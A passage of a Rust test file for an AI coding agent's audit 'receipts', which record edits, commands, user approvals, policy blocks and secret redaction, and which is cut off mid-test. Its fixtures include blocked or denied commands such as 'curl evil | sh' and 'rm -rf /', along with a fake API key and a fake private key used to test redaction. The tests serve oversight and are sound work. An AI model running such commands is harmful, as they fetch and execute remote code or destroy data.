返回 CodeWhale
tests.rs
根目录 / crates / tui / src / receipts / tests.rs
1 use super::*;
2 use codewhale_models::Role;
3 use serde_json::json;
4
5 fn thread_fixture() -> (
6 ThreadRecord,
7 Vec<TurnRecord>,
8 Vec<TurnItemRecord>,
9 Vec<RuntimeEventRecord>,
10 ) {
11 let thread: ThreadRecord = serde_json::from_value(json!({
12 "id": "thr_fixture",
13 "created_at": "2026-09-24T10:00:00Z",
14 "updated_at": "2026-09-24T10:05:00Z",
15 "model": "deepseek-flash",
16 "workspace": "/work/repo",
17 "mode": "agent",
18 "allow_shell": true,
19 "trust_mode": false,
20 "auto_approve": false,
21 "title": "Fix the parser"
22 }))
23 .expect("thread fixture");
24 let turns: Vec<TurnRecord> = serde_json::from_value(json!([
25 {
26 "id": "turn_1",
27 "thread_id": "thr_fixture",
28 "status": "completed",
29 "input_summary": "Fix the parser",
30 "created_at": "2026-09-24T10:00:00Z",
31 "permission_posture": "ask",
32 "item_ids": ["item_edit", "item_test", "item_rm", "item_mcp", "item_read", "item_fail"]
33 },
34 {
35 "id": "turn_2",
36 "thread_id": "thr_fixture",
37 "status": "failed",
38 "input_summary": "Push it",
39 "created_at": "2026-09-24T10:04:00Z",
40 "ended_at": "2026-09-24T10:04:30Z",
41 "error": "provider returned 500",
42 "item_ids": []
43 }
44 ]))
45 .expect("turn fixtures");
46 let item =
47 |id: &str, kind: &str, status: &str, at: &str, end: &str, detail: &str, meta: Value| {
48 serde_json::from_value::<TurnItemRecord>(json!({
49 "id": id,
50 "turn_id": "turn_1",
51 "kind": kind,
52 "status": status,
53 "summary": detail,
54 "detail": detail,
55 "metadata": meta,
56 "started_at": at,
57 "ended_at": end,
58 }))
59 .expect("item fixture")
60 };
61 let items = vec![
62 item(
63 "item_edit",
64 "file_change",
65 "completed",
66 "2026-09-24T10:01:00Z",
67 "2026-09-24T10:01:01Z",
68 "Successfully replaced 1 block(s) in src/parse.rs.",
69 json!({
70 "tool_use_id": "call_edit",
71 "tool_name": "edit",
72 "tool_input": "{\"path\":\"src/parse.rs\"}",
73 "mutation": {
74 "files": [{"path": "src/parse.rs", "outcome": "updated"}],
75 "diff": "diff --git a/src/parse.rs b/src/parse.rs\n--- a/src/parse.rs\n+++ b/src/parse.rs\n@@ -1,2 +1,3 @@\n-old\n+new\n+more\n",
76 "renames": []
77 }
78 }),
79 ),
80 item(
81 "item_test",
82 "command_execution",
83 "completed",
84 "2026-09-24T10:02:00Z",
85 "2026-09-24T10:02:03Z",
86 "test result: ok",
87 json!({
88 "tool_use_id": "call_test",
89 "tool_name": "exec_shell",
90 "tool_input": "{\"command\":\"cargo test -p parser\",\"cwd\":\"/work/repo\"}",
91 "exit_code": 0,
92 "duration_ms": 2500
93 }),
94 ),
95 item(
96 "item_rm",
97 "command_execution",
98 "failed",
99 "2026-09-24T10:02:30Z",
100 "2026-09-24T10:02:31Z",
101 "Tool call denied by user",
102 json!({
103 "tool_use_id": "call_rm",
104 "tool_name": "exec_shell",
105 "tool_input": "{\"command\":\"rm -rf build API_KEY=sk-live-abcdefghijklmnop\"}"
106 }),
107 ),
108 item(
109 "item_mcp",
110 "tool_call",
111 "completed",
112 "2026-09-24T10:03:00Z",
113 "2026-09-24T10:03:01Z",
114 "{\"issues\":[]}",
115 json!({
116 "tool_use_id": "call_mcp",
117 "tool_name": "mcp_linear_list_issues",
118 "tool_input": "{}"
119 }),
120 ),
121 item(
122 "item_read",
123 "tool_call",
124 "completed",
125 "2026-09-24T10:03:10Z",
126 "2026-09-24T10:03:11Z",
127 "fn main() {}",
128 json!({"tool_use_id": "call_read", "tool_name": "read", "tool_input": "{\"path\":\"src/main.rs\"}"}),
129 ),
130 item(
131 "item_fail",
132 "tool_call",
133 "failed",
134 "2026-09-24T10:03:20Z",
135 "2026-09-24T10:03:21Z",
136 "Failed to execute tool: no such file\nmore",
137 json!({"tool_use_id": "call_fail", "tool_name": "read", "tool_input": "{\"path\":\"missing.rs\"}"}),
138 ),
139 ];
140 let event = |seq: u64, name: &str, at: &str, payload: Value| RuntimeEventRecord {
141 schema_version: 2,
142 seq,
143 timestamp: at.parse().expect("timestamp"),
144 thread_id: "thr_fixture".into(),
145 turn_id: Some("turn_1".into()),
146 item_id: None,
147 event: name.into(),
148 payload,
149 };
150 let events = vec![
151 event(
152 1,
153 "approval.required",
154 "2026-09-24T10:01:58Z",
155 json!({"approval_id": "apr_1", "tool_call_id": "call_test", "tool_name": "exec_shell"}),
156 ),
157 event(
158 2,
159 "approval.decided",
160 "2026-09-24T10:01:59Z",
161 json!({"approval_id": "apr_1", "tool_call_id": "call_test", "decision": "allow", "remember": false}),
162 ),
163 event(
164 3,
165 "approval.required",
166 "2026-09-24T10:02:29Z",
167 json!({"approval_id": "apr_2", "tool_call_id": "call_rm", "tool_name": "exec_shell"}),
168 ),
169 event(
170 4,
171 "approval.decided",
172 "2026-09-24T10:02:30Z",
173 json!({"approval_id": "apr_2", "tool_call_id": "call_rm", "decision": "deny", "remember": false}),
174 ),
175 event(
176 5,
177 "approval.required",
178 "2026-09-24T10:02:59Z",
179 json!({"approval_id": "apr_3", "tool_call_id": "call_mcp", "tool_name": "mcp_linear_list_issues"}),
180 ),
181 event(
182 6,
183 "approval.decided",
184 "2026-09-24T10:03:00Z",
185 json!({"approval_id": "apr_3", "tool_call_id": "call_mcp", "decision": "allow", "auto": true, "grant_id": "grant_9"}),
186 ),
187 ];
188 (thread, turns, items, events)
189 }
190
191 #[test]
192 fn thread_receipt_lists_files_commands_approvals_mcp_and_failures() {
193 let (thread, turns, items, events) = thread_fixture();
194 let receipt = thread_receipt(&thread, &turns, &items, &events, None).expect("receipt");
195
196 let totals = &receipt.totals;
197 assert_eq!(totals.files_changed, 1);
198 assert_eq!((totals.lines_added, totals.lines_removed), (2, 1));
199 assert!(totals.line_counts_complete);
200 assert_eq!(totals.commands, 1, "the denied command never ran");
201 assert_eq!(totals.mcp_calls, 1);
202 assert_eq!(totals.approvals.total, 3);
203 assert_eq!(totals.approvals.approved, 2);
204 assert_eq!(totals.approvals.approved_by.you, 1);
205 assert_eq!(totals.approvals.approved_by.session_rule, 1);
206 assert_eq!(totals.approvals.denied, 1);
207 assert_eq!(totals.approvals.denied_by.you, 1);
208 assert_eq!(totals.failures, 2, "failed read + failed turn");
209 assert_eq!(totals.other_tool_calls, 2);
210 assert_eq!(receipt.postures, vec!["Ask"]);
211 assert_eq!(
212 totals.ran_without_asking, 1,
213 "the edit ran with no approval; reads are not counted"
214 );
215
216 let lines: Vec<String> = receipt.actions.iter().map(action_line).collect();
217 assert_eq!(
218 lines,
219 vec![
220 "edited `src/parse.rs` (+2 −1) · 1.0s",
221 "ran `cargo test -p parser` in /work/repo — exit 0 · 2.5s · approved by you",
222 "did not run `rm -rf build API_KEY=[redacted]` · denied by you",
223 "called linear · list_issues · 1.0s · approved by session rule",
224 "called read — failed: Failed to execute tool: no such file · 1.0s",
225 "turn failed — failed: provider returned 500",
226 ]
227 .into_iter()
228 .map(str::to_string)
229 .collect::<Vec<_>>(),
230 );
231 assert!(
232 !render_json(&receipt).contains("sk-live-abcdefghijklmnop"),
233 "a secret in a command never reaches the receipt"
234 );
235 }
236
237 #[test]
238 fn thread_receipt_scopes_to_one_turn_and_rejects_foreign_turns() {
239 let (thread, turns, items, events) = thread_fixture();
240 let receipt = thread_receipt(&thread, &turns, &items, &events, Some("turn_2")).expect("turn");
241 assert_eq!(receipt.turn.as_deref(), Some("turn_2"));
242 assert_eq!(receipt.actions.len(), 1);
243 assert_eq!(receipt.actions[0].what, ActionKind::TurnFailed);
244 assert_eq!(receipt.totals.approvals.total, 0);
245
246 let error = thread_receipt(&thread, &turns, &items, &events, Some("turn_other"))
247 .expect_err("foreign turn");
248 assert!(error.to_string().contains("does not belong"));
249 }
250
251 fn text(role: Role, text: &str) -> Message {
252 Message {
253 role,
254 content: vec![ContentBlock::Text {
255 text: text.into(),
256 cache_control: None,
257 }],
258 }
259 }
260
261 fn tool_use(id: &str, name: &str, input: Value) -> Message {
262 Message {
263 role: Role::Assistant,
264 content: vec![ContentBlock::ToolUse {
265 execution_id: None,
266 id: id.into(),
267 name: name.into(),
268 input,
269 caller: None,
270 thought_signature: None,
271 }],
272 }
273 }
274
275 fn tool_result(id: &str, content: &str, is_error: bool) -> Message {
276 Message {
277 role: Role::User,
278 content: vec![ContentBlock::ToolResult {
279 execution_id: None,
280 tool_use_id: id.into(),
281 content: content.into(),
282 is_error: is_error.then_some(true),
283 content_blocks: None,
284 }],
285 }
286 }
287
288 fn session_source_fixture() -> ReceiptSource {
289 ReceiptSource {
290 kind: SourceKind::Session,
291 id: "sess-1".into(),
292 title: None,
293 workspace: None,
294 model: None,
295 started_at: None,
296 updated_at: None,
297 }
298 }
299
300 /// A prompt as the engine saves it: the user's text, then the host's
301 /// `<turn_meta>` block naming the posture.
302 fn prompt_with_posture(prompt: &str, posture: &str) -> Message {
303 Message {
304 role: Role::User,
305 content: vec![
306 ContentBlock::Text {
307 text: prompt.into(),
308 cache_control: None,
309 },
310 ContentBlock::Text {
311 text: format!(
312 "<turn_meta>\nCurrent local date: 2026-09-24\n{}{posture}\n</turn_meta>",
313 crate::core::engine::PERMISSION_POSTURE_LINE
314 ),
315 cache_control: None,
316 },
317 ],
318 }
319 }
320
321 #[test]
322 fn session_receipt_reads_transcript_and_approval_log_with_deciders() {
323 let messages = vec![
324 // Runtime-injected, not a prompt: it must not start turn 1.
325 crate::runtime_handoff::operate_contract_runtime_message(),
326 prompt_with_posture("tidy the repo", "Full Access"),
327 tool_use(
328 "c1",
329 "write",
330 json!({"path": "notes.md", "content": "a\nb\n"}),
331 ),
332 tool_result("c1", "Successfully wrote 4 bytes to notes.md", false),
333 tool_use(
334 "c2",
335 "edit",
336 json!({"path": "src/lib.rs", "edits": [{"oldText": "a", "newText": "b\nc"}]}),
337 ),
338 tool_result("c2", "Successfully replaced 1 block(s)", false),
339 tool_use("c3", "bash", json!({"command": "cargo build"})),
340 tool_result(
341 "c3",
342 "error[E0425]: cannot find value\n\nCommand exited with code 101",
343 true,
344 ),
345 text(Role::User, "now delete build"),
346 tool_use("c4", "bash", json!({"command": "rm -rf build"})),
347 tool_result("c4", "The user denied this tool call.", true),
348 tool_use(
349 "c5",
350 "Web",
351 json!({"action": "fetch", "url": "https://docs.rs/serde"}),
352 ),
353 tool_result("c5", "<html>", false),
354 tool_use(
355 "c6",
356 "agent",
357 json!({"action": "start", "name": "reviewer"}),
358 ),
359 tool_result(
360 "c6",
361 "{\"agent_id\":\"agent_1\",\"status\":\"running\"}",
362 false,
363 ),
364 tool_use(
365 "c7",
366 "agent",
367 json!({"action": "wait", "agent_id": "agent_1"}),
368 ),
369 tool_result(
370 "c7",
371 "{\"agent_id\":\"agent_1\",\"status\":\"completed\"}",
372 false,
373 ),
374 ];
375 let receipts = vec![
376 ApprovalReceipt::asked("c3", "bash"),
377 ApprovalReceipt::decided_with(
378 "c3",
379 ApprovalOutcome::ApprovedOnce,
380 Some(ApprovalDecider::Posture),
381 ),
382 ApprovalReceipt::asked("c4", "bash"),
383 ApprovalReceipt::decided_with("c4", ApprovalOutcome::Denied, Some(ApprovalDecider::User)),
384 // A record written before deciders were kept.
385 ApprovalReceipt::asked("c5", "Web"),
386 ApprovalReceipt::decided("c5", ApprovalOutcome::ApprovedOnce),
387 ];
388 let receipt =
389 session_receipt(session_source_fixture(), &messages, &receipts, None).expect("receipt");
390
391 let lines: Vec<String> = receipt.actions.iter().map(action_line).collect();
392 assert_eq!(
393 lines,
394 vec![
395 "wrote `notes.md`",
396 "edited `src/lib.rs` (+2 −1)",
397 "ran `cargo build` — exit 101 — failed: error[E0425]: cannot find value · approved by posture",
398 "did not run `rm -rf build` · denied by you",
399 "fetched docs.rs · approved",
400 "started agent reviewer — completed",
401 ]
402 .into_iter()
403 .map(str::to_string)
404 .collect::<Vec<_>>(),
405 );
406 assert_eq!(receipt.actions[3].turn.as_deref(), Some("2"));
407 let totals = &receipt.totals;
408 assert_eq!(totals.files_changed, 2);
409 assert!(
410 !totals.line_counts_complete,
411 "a whole-file write has no counts"
412 );
413 assert_eq!((totals.commands, totals.commands_failed), (1, 1));
414 assert_eq!(totals.network, 1);
415 assert_eq!(totals.subagents, 1);
416 assert_eq!(totals.approvals.approved_by.posture, 1);
417 assert_eq!(totals.approvals.approved_by.not_recorded, 1);
418 assert_eq!(totals.approvals.denied_by.you, 1);
419 assert_eq!(receipt.postures, vec!["Full Access"]);
420 assert_eq!(
421 totals.ran_without_asking, 3,
422 "the write, the edit, and the agent start had no approval on record"
423 );
424 assert!(
425 totals_line(&receipt).contains("3 ran without asking under Full Access"),
426 "{}",
427 totals_line(&receipt)
428 );
429 assert!(
430 receipt
431 .not_recorded
432 .iter()
433 .any(|note| note.starts_with("Who decided: 1 decision")),
434 "{:?}",
435 receipt.not_recorded
436 );
437
438 let turn_two =
439 session_receipt(session_source_fixture(), &messages, &receipts, Some("2")).expect("turn 2");
440 assert_eq!(turn_two.actions.len(), 3);
441 for missing in ["x", "0", "3", "999"] {
442 let error = session_receipt(
443 session_source_fixture(),
444 &messages,
445 &receipts,
446 Some(missing),
447 )
448 .expect_err("a turn this session does not have");
449 assert!(error.to_string().contains("it has 2 turns"), "{error}");
450 }
451 }
452
453 #[test]
454 fn markdown_and_json_share_one_record() {
455 let (thread, turns, items, events) = thread_fixture();
456 let receipt = thread_receipt(&thread, &turns, &items, &events, None).expect("receipt");
457
458 let markdown = render_markdown(&receipt);
459 assert!(markdown.starts_with("# Receipt: Fix the parser\n"));
460 assert!(markdown.contains(
461 "Changed 1 file (+2 −1) · ran 1 command · made 1 MCP call · 1 approved by you · 1 approved by session rule · 1 ran without asking under Ask · 1 denied by you · 2 other failures"
462 ));
463 assert!(markdown.contains("\n1. edited `src/parse.rs` (+2 −1)"));
464 assert!(markdown.contains("\nNot recorded:\n- Shell file changes:"));
465
466 let json: Value = serde_json::from_str(&render_json(&receipt)).expect("json");
467 assert_eq!(json["schema_id"], RECEIPT_SCHEMA_ID);
468 assert_eq!(json["source"]["kind"], "thread");
469 assert_eq!(json["source"]["id"], "thr_fixture");
470 assert_eq!(json["totals"]["approvals"]["approved_by"]["you"], 1);
471 assert_eq!(json["totals"]["approvals"]["denied_by"]["you"], 1);
472 let actions = json["actions"].as_array().expect("actions");
473 assert_eq!(actions.len(), receipt.actions.len());
474 assert_eq!(actions[0]["kind"], "file_change");
475 assert_eq!(actions[0]["files"][0]["lines_added"], 2);
476 assert_eq!(actions[1]["kind"], "command");
477 assert_eq!(actions[1]["exit_code"], 0);
478 assert_eq!(actions[1]["approval"]["decided_by"], "user");
479 assert_eq!(actions[2]["status"], "not_run");
480 assert_eq!(actions[3]["kind"], "mcp");
481 assert_eq!(actions[3]["server"], "linear");
482 assert_eq!(actions[3]["approval"]["decided_by"], "session_rule");
483 assert_eq!(json["claim_ceiling"][0], "local_record_only");
484 }
485
486 #[test]
487 fn empty_session_says_nothing_happened() {
488 let receipt = session_receipt(session_source_fixture(), &[], &[], None).expect("receipt");
489 assert_eq!(totals_line(&receipt), "No actions recorded.");
490 assert!(receipt.actions.is_empty());
491 }
492
493 #[test]
494 fn session_older_than_its_approval_log_does_not_claim_calls_ran_without_asking() {
495 let messages = vec![
496 text(Role::User, "write it"),
497 tool_use("c1", "write", json!({"path": "notes.md", "content": "a"})),
498 tool_result("c1", "Successfully wrote 1 byte to notes.md", false),
499 ];
500 let mut source = session_source_fixture();
501 source.started_at = Some("2026-08-01T00:00:00Z".parse().expect("time"));
502 let receipt = session_receipt(source, &messages, &[], None).expect("receipt");
503 assert_eq!(receipt.totals.files_changed, 1);
504 assert_eq!(receipt.totals.ran_without_asking, 0);
505 assert!(
506 receipt
507 .not_recorded
508 .iter()
509 .any(|note| note.starts_with("Approvals: this session started before")),
510 "{:?}",
511 receipt.not_recorded
512 );
513
514 let mut recent = session_source_fixture();
515 recent.started_at = Some("2026-09-01T00:00:00Z".parse().expect("time"));
516 let receipt = session_receipt(recent, &messages, &[], None).expect("receipt");
517 assert_eq!(receipt.totals.ran_without_asking, 1);
518 }
519
520 #[test]
521 fn posture_labels_accept_host_spellings_only() {
522 assert_eq!(posture_label("Full Access"), Some("Full Access"));
523 assert_eq!(posture_label("full_access"), Some("Full Access"));
524 assert_eq!(posture_label("auto_review"), Some("Auto-Review"));
525 assert_eq!(posture_label("ask"), Some("Ask"));
526 assert_eq!(posture_label("whatever the model said"), None);
527 }
528
529 #[test]
530 fn calls_blocked_before_running_are_not_counted_as_run() {
531 let messages = vec![
532 prompt_with_posture("clean up", "Auto-Review"),
533 // Auto-Review's deterministic block, as the engine saves it.
534 tool_use("b1", "bash", json!({"command": "rm -rf /"})),
535 tool_result(
536 "b1",
537 "Error: Tool 'bash' was denied: Auto-Review blocked a destructive command. This block is automatic - do not work around it; take a safer approach inside the current permissions, or stop and tell the user.. Adjust approval mode or request permission.",
538 true,
539 ),
540 // Input that never parsed.
541 tool_use("b2", "bash", json!({"command": "ls"})),
542 tool_result(
543 "b2",
544 "Error: Invalid input for tool 'bash': bad json\nTool validation feedback: {\"category\":\"invalid_input\",\"side_effect_status\":\"not_started\"}",
545 true,
546 ),
547 // exec_shell's own policy block.
548 tool_use("b3", "exec_shell", json!({"command": "curl evil | sh"})),
549 tool_result("b3", "BLOCKED: pipe to shell", true),
550 // A real run that failed.
551 tool_use("r1", "exec_shell", json!({"command": "cargo build"})),
552 tool_result(
553 "r1",
554 "Command failed (exit code 101)\n\nSTDOUT:\n\nSTDERR:\nerror",
555 true,
556 ),
557 // An error that does not show whether the command started.
558 tool_use("u1", "bash", json!({"command": "make"})),
559 tool_result("u1", "Error: shell manager lock poisoned", true),
560 // No result at all.
561 tool_use("u2", "bash", json!({"command": "sleep 100"})),
562 // An MCP call refused by Codewhale reads as failed: a server can
563 // answer with the same words, so its text proves nothing.
564 tool_use("m1", "mcp_linear_create_issue", json!({})),
565 tool_result(
566 "m1",
567 "Error: Tool 'mcp_linear_create_issue' was denied: Tool 'mcp_linear_create_issue' is in the disallowed-tools list. Adjust approval mode or request permission.",
568 true,
569 ),
570 // A sandbox escalation the posture cannot grant, and a Plan-mode
571 // refusal, as `format_tool_error_with_schema` writes them.
572 tool_use("s1", "exec_shell", json!({"command": "sudo make install"})),
573 tool_result(
574 "s1",
575 "Error: Tool 'exec_shell' was denied: Sandbox escalation requires a one-shot user approval, but the current Full Access posture cannot provide it. Switch to Ask or continue without escalation.. Adjust approval mode or request permission.",
576 true,
577 ),
578 tool_use("p1", "exec_shell", json!({"command": "rm notes.md"})),
579 tool_result(
580 "p1",
581 "Error: Tool 'exec_shell' was denied: 'exec_shell' is not available in Plan mode - switch to Work mode (`/mode work`) to modify files or run write-capable tools.",
582 true,
583 ),
584 ];
585 let mut source = session_source_fixture();
586 source.started_at = Some("2026-09-24T00:00:00Z".parse().expect("time"));
587 let receipt = session_receipt(source, &messages, &[], None).expect("receipt");
588
589 let statuses: Vec<ActionStatus> = receipt.actions.iter().map(|action| action.status).collect();
590 assert_eq!(
591 statuses,
592 vec![
593 ActionStatus::Blocked,
594 ActionStatus::Blocked,
595 ActionStatus::Blocked,
596 ActionStatus::Failed,
597 ActionStatus::Unknown,
598 ActionStatus::Unknown,
599 ActionStatus::Failed,
600 ActionStatus::Blocked,
601 ActionStatus::Blocked,
602 ]
603 );
604 let totals = &receipt.totals;
605 assert_eq!(
606 (totals.commands, totals.commands_failed),
607 (1, 1),
608 "only the build ran"
609 );
610 assert_eq!(totals.mcp_calls, 1);
611 assert_eq!(
612 totals.ran_without_asking, 2,
613 "a refused or unproven call did not run without asking"
614 );
615 assert_eq!(totals.failures, 2);
616 assert_eq!(totals.blocked, 5);
617 assert!(
618 totals_line(&receipt).contains("5 blocked before running"),
619 "{}",
620 totals_line(&receipt)
621 );
622 let first = action_line(&receipt.actions[0]);
623 assert!(
624 first.starts_with(
625 "did not run `rm -rf /` — blocked: Tool 'bash' was denied: Auto-Review blocked"
626 ),
627 "{first}"
628 );
629 assert_eq!(
630 action_line(&receipt.actions[4]),
631 "tried to run `make` — error, no exit code: shell manager lock poisoned"
632 );
633 assert_eq!(
634 action_line(&receipt.actions[5]),
635 "tried to run `sleep 100` — no result recorded"
636 );
637 assert!(
638 action_line(&receipt.actions[6]).starts_with("called linear · create_issue — failed:"),
639 "{}",
640 action_line(&receipt.actions[6])
641 );
642 assert!(
643 receipt
644 .not_recorded
645 .iter()
646 .any(|note| note.starts_with("Whether it ran: 2 call(s)")),
647 "{:?}",
648 receipt.not_recorded
649 );
650 }
651
652 #[test]
653 fn thread_call_refused_by_the_runtime_is_not_run() {
654 let (thread, turns, mut items, events) = thread_fixture();
655 // `item_fail` as the Runtime saves a call it refused: the ToolError text.
656 let refused = items
657 .iter_mut()
658 .find(|item| item.id == "item_fail")
659 .expect("fixture item");
660 refused.detail = Some(
661 "Failed to authorize tool execution: Tool 'read' is in the disallowed-tools list"
662 .to_string(),
663 );
664 let receipt = thread_receipt(&thread, &turns, &items, &events, None).expect("receipt");
665 let line = receipt
666 .actions
667 .iter()
668 .find(|action| action.call_id.as_deref() == Some("call_fail"))
669 .map(action_line)
670 .expect("refused call is listed");
671 assert_eq!(
672 line,
673 "did not call read — blocked: Failed to authorize tool execution: Tool 'read' is in the disallowed-tools list"
674 );
675 assert_eq!(receipt.totals.failures, 1, "only the failed turn");
676 assert_eq!(receipt.totals.blocked, 1);
677 }
678
679 #[test]
680 fn host_denial_reads_as_not_answered() {
681 let messages = vec![
682 text(Role::User, "run it"),
683 tool_use("h1", "bash", json!({"command": "cargo test"})),
684 tool_result(
685 "h1",
686 "Tool 'bash' denied by user — the call was not approved.",
687 true,
688 ),
689 ];
690 let receipts = vec![
691 ApprovalReceipt::asked("h1", "bash"),
692 ApprovalReceipt::decided_with("h1", ApprovalOutcome::Denied, Some(ApprovalDecider::Host)),
693 ];
694 let receipt =
695 session_receipt(session_source_fixture(), &messages, &receipts, None).expect("receipt");
696 let approvals = &receipt.totals.approvals;
697 assert_eq!((approvals.denied, approvals.not_answered), (0, 1));
698 assert_eq!(
699 action_line(&receipt.actions[0]),
700 "did not run `cargo test` · nobody could be asked"
701 );
702 assert!(
703 totals_line(&receipt).contains("1 not answered"),
704 "{}",
705 totals_line(&receipt)
706 );
707 }
708
709 #[test]
710 fn private_key_in_a_heredoc_is_redacted_before_the_command_is_flattened() {
711 let key_body = "b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW";
712 let command = format!(
713 "cat > id_ed25519 <<'EOF'\n-----BEGIN OPENSSH PRIVATE KEY-----\n{key_body}\n-----END OPENSSH PRIVATE KEY-----\nEOF"
714 );
715 let text = command_text("bash", "exec_shell", &json!({ "command": command }));
716 assert!(!text.contains(key_body), "{text}");
717 assert!(
718 text.starts_with("cat > id_ed25519 <<'EOF' -----BEGIN OPENSSH PRIVATE KEY-----"),
719 "{text}"
720 );
721 }
722
723 #[test]
724 fn diff_comment_lines_are_content_not_headers() {
725 // A removed SQL comment `-- old` shows as `--- old`; an added `++ x`
726 // as `+++ x`. Inside a hunk neither is a file header.
727 let diff = "diff --git a/q.sql b/q.sql\n--- a/q.sql\n+++ b/q.sql\n@@ -1,3 +1,3 @@\n--- old comment\n+++ added\n select 1;\n-x\n+y\n";
728 let counts = diff_counts_by_path(diff);
729 assert_eq!(counts.len(), 1, "{counts:?}");
730 assert_eq!(counts.get("q.sql"), Some(&(2, 2)));
731
732 let files = patch_files(diff, None);
733 assert_eq!(files.len(), 1, "{files:?}");
734 assert_eq!(
735 (files[0].lines_added, files[0].lines_removed),
736 (Some(2), Some(2))
737 );
738
739 // Two files: the second header is read after the first hunk ends.
740 let two = "--- a/a.rs\n+++ b/a.rs\n@@ -1 +1 @@\n-a\n+b\n--- /dev/null\n+++ b/new.rs\n@@ -0,0 +1 @@\n+c\n";
741 let files = patch_files(two, None);
742 assert_eq!(
743 files
744 .iter()
745 .map(|file| (
746 file.path.as_str(),
747 file.change,
748 file.lines_added,
749 file.lines_removed
750 ))
751 .collect::<Vec<_>>(),
752 vec![
753 ("a.rs", FileChangeKind::Edited, Some(1), Some(1)),
754 ("new.rs", FileChangeKind::Created, Some(1), Some(0)),
755 ]
756 );
757 }
758
759 #[test]
760 fn backticks_in_a_command_keep_its_code_span_whole() {
761 assert_eq!(code_span("cargo test"), "`cargo test`");
762 assert_eq!(code_span("echo `date`"), "`` echo `date` ``");
763 assert_eq!(code_span("a ``b`` c"), "```a ``b`` c```");
764 }
765
766 /// Files a command changed show up from the turn's own before/after
767 /// snapshots; files a file tool already names are not listed twice.
768 #[test]
769 fn shell_file_changes_come_from_the_turn_snapshots() {
770 let _lock = crate::test_support::lock_test_env();
771 let home = tempfile::tempdir().expect("home");
772 let _env = crate::test_support::EnvVarGuard::set("CODEWHALE_HOME", home.path());
773 let workspace = tempfile::tempdir().expect("workspace");
774 let root = workspace.path();
775 std::fs::write(root.join("a.txt"), "one\n").expect("a");
776 std::fs::write(root.join("b.txt"), "one\ntwo\n").expect("b");
777
778 let session = "sess-snap";
779 crate::core::turn::pre_turn_snapshot(root, 1, 0, Some("tidy up"), Some(session))
780 .expect("pre-turn snapshot");
781 // The file tool's write, then what the shell command did.
782 std::fs::write(root.join("a.txt"), "new\n").expect("a");
783 std::fs::write(root.join("b.txt"), "one\n").expect("b");
784 std::fs::write(root.join("c.txt"), "made by a build\n").expect("c");
785 crate::core::turn::post_turn_snapshot(root, 1, 0, Some("tidy up"), Some(session))
786 .expect("post-turn snapshot");
787
788 let messages = vec![
789 prompt_with_posture("tidy up", "Full Access"),
790 tool_use(
791 "w1",
792 "write_file",
793 json!({"path": "a.txt", "content": "new\n"}),
794 ),
795 tool_result("w1", "Wrote a.txt", false),
796 tool_use("x1", "exec_shell", json!({"command": "./tidy.sh"})),
797 tool_result("x1", "done", false),
798 // A turn with no snapshot pair.
799 prompt_with_posture("and again", "Full Access"),
800 ];
801 let mut source = session_source_fixture();
802 source.id = session.to_string();
803 source.workspace = Some(root.display().to_string());
804 let receipt = session_receipt(source, &messages, &[], None).expect("receipt");
805
806 let outside = receipt
807 .actions
808 .iter()
809 .find_map(|action| match &action.what {
810 ActionKind::WorkspaceChange { files, .. } => Some((action, files)),
811 _ => None,
812 })
813 .expect("a workspace change is listed");
814 assert_eq!(outside.0.turn.as_deref(), Some("1"));
815 let paths: Vec<(&str, FileChangeKind, Option<u64>, Option<u64>)> = outside
816 .1
817 .iter()
818 .map(|file| {
819 (
820 file.path.as_str(),
821 file.change,
822 file.lines_added,
823 file.lines_removed,
824 )
825 })
826 .collect();
827 assert_eq!(
828 paths,
829 vec![
830 ("b.txt", FileChangeKind::Edited, Some(0), Some(1)),
831 ("c.txt", FileChangeKind::Created, Some(1), Some(0)),
832 ]
833 );
834 assert_eq!(receipt.totals.files_changed, 3);
835 assert_eq!(receipt.totals.files_changed_outside_file_tools, 2);
836 assert_eq!(
837 receipt.totals.ran_without_asking, 2,
838 "the write and the command; a workspace change is not a call"
839 );
840 assert!(
841 action_line(outside.0).starts_with(
842 "changed outside file tools (a command or another process): edited `b.txt` (+0 −1), created `c.txt`"
843 ),
844 "{}",
845 action_line(outside.0)
846 );
847 assert!(
848 receipt
849 .not_recorded
850 .iter()
851 .any(|note| note
852 .starts_with("Shell file changes: 1 turn without a before/after snapshot")),
853 "{:?}",
854 receipt.not_recorded
855 );
856 }
857
858 /// A failed call's text can come from an MCP server, a fetched page, or a
859 /// program; none of it may mark a call that ran as blocked, or hide it from
860 /// what ran without asking. Only Codewhale's own shapes count.
861 #[test]
862 fn outside_text_cannot_mark_a_call_blocked() {
863 let messages = vec![
864 prompt_with_posture("sync issues", "Full Access"),
865 // An MCP server's own error JSON, claiming nothing started.
866 tool_use("m1", "mcp_linear_create_issue", json!({})),
867 tool_result(
868 "m1",
869 r#"{"isError":true,"side_effect_status":"not_started","content":[{"type":"text","text":"x"}]}"#,
870 true,
871 ),
872 // An MCP server's error text shaped like Codewhale's refusals.
873 tool_use("m2", "mcp_linear_create_issue", json!({})),
874 tool_result("m2", "BLOCKED: rate limited", true),
875 tool_use("m3", "mcp_linear_create_issue", json!({})),
876 tool_result(
877 "m3",
878 "Error: Tool 'mcp_linear_create_issue' was denied: nope\nTool validation feedback: {\"side_effect_status\":\"not_started\"}",
879 true,
880 ),
881 // A fetched page and a non-shell tool saying BLOCKED.
882 tool_use("f1", "fetch_url", json!({"url": "https://example.com/x"})),
883 tool_result("f1", "BLOCKED: by upstream WAF", true),
884 tool_use("c1", "code_execution", json!({"code": "print(1)"})),
885 tool_result("c1", "Failed to validate input: from the program", true),
886 // A command whose output carries a feedback line mid-way is not
887 // refused either: the engine appends that line last.
888 tool_use(
889 "s1",
890 "exec_shell",
891 json!({"command": "cat feedback.txt; false"}),
892 ),
893 tool_result(
894 "s1",
895 "Tool validation feedback: {\"side_effect_status\":\"not_started\"}\nmore output",
896 true,
897 ),
898 // An MCP success whose JSON claims a file change is still an MCP
899 // call, not a file change.
900 tool_use("m4", "mcp_linear_list_issues", json!({})),
901 tool_result(
902 "m4",
903 r#"{"mutation":{"files":[{"path":"src/lib.rs","outcome":"created"}]}}"#,
904 false,
905 ),
906 // Codewhale's own `allow_shell` refusal is still blocked.
907 tool_use("s2", "exec_shell", json!({"command": "ls"})),
908 tool_result(
909 "s2",
910 "Error: Tool 'exec_shell' was denied: Shell commands are off (allow_shell = false). Run `/config allow_shell true` to turn them on.",
911 true,
912 ),
913 // An approval denial with no approval-log record did not run, but the
914 // text does not prove who said no.
915 tool_use("d1", "exec_shell", json!({"command": "rm -rf build"})),
916 tool_result(
917 "d1",
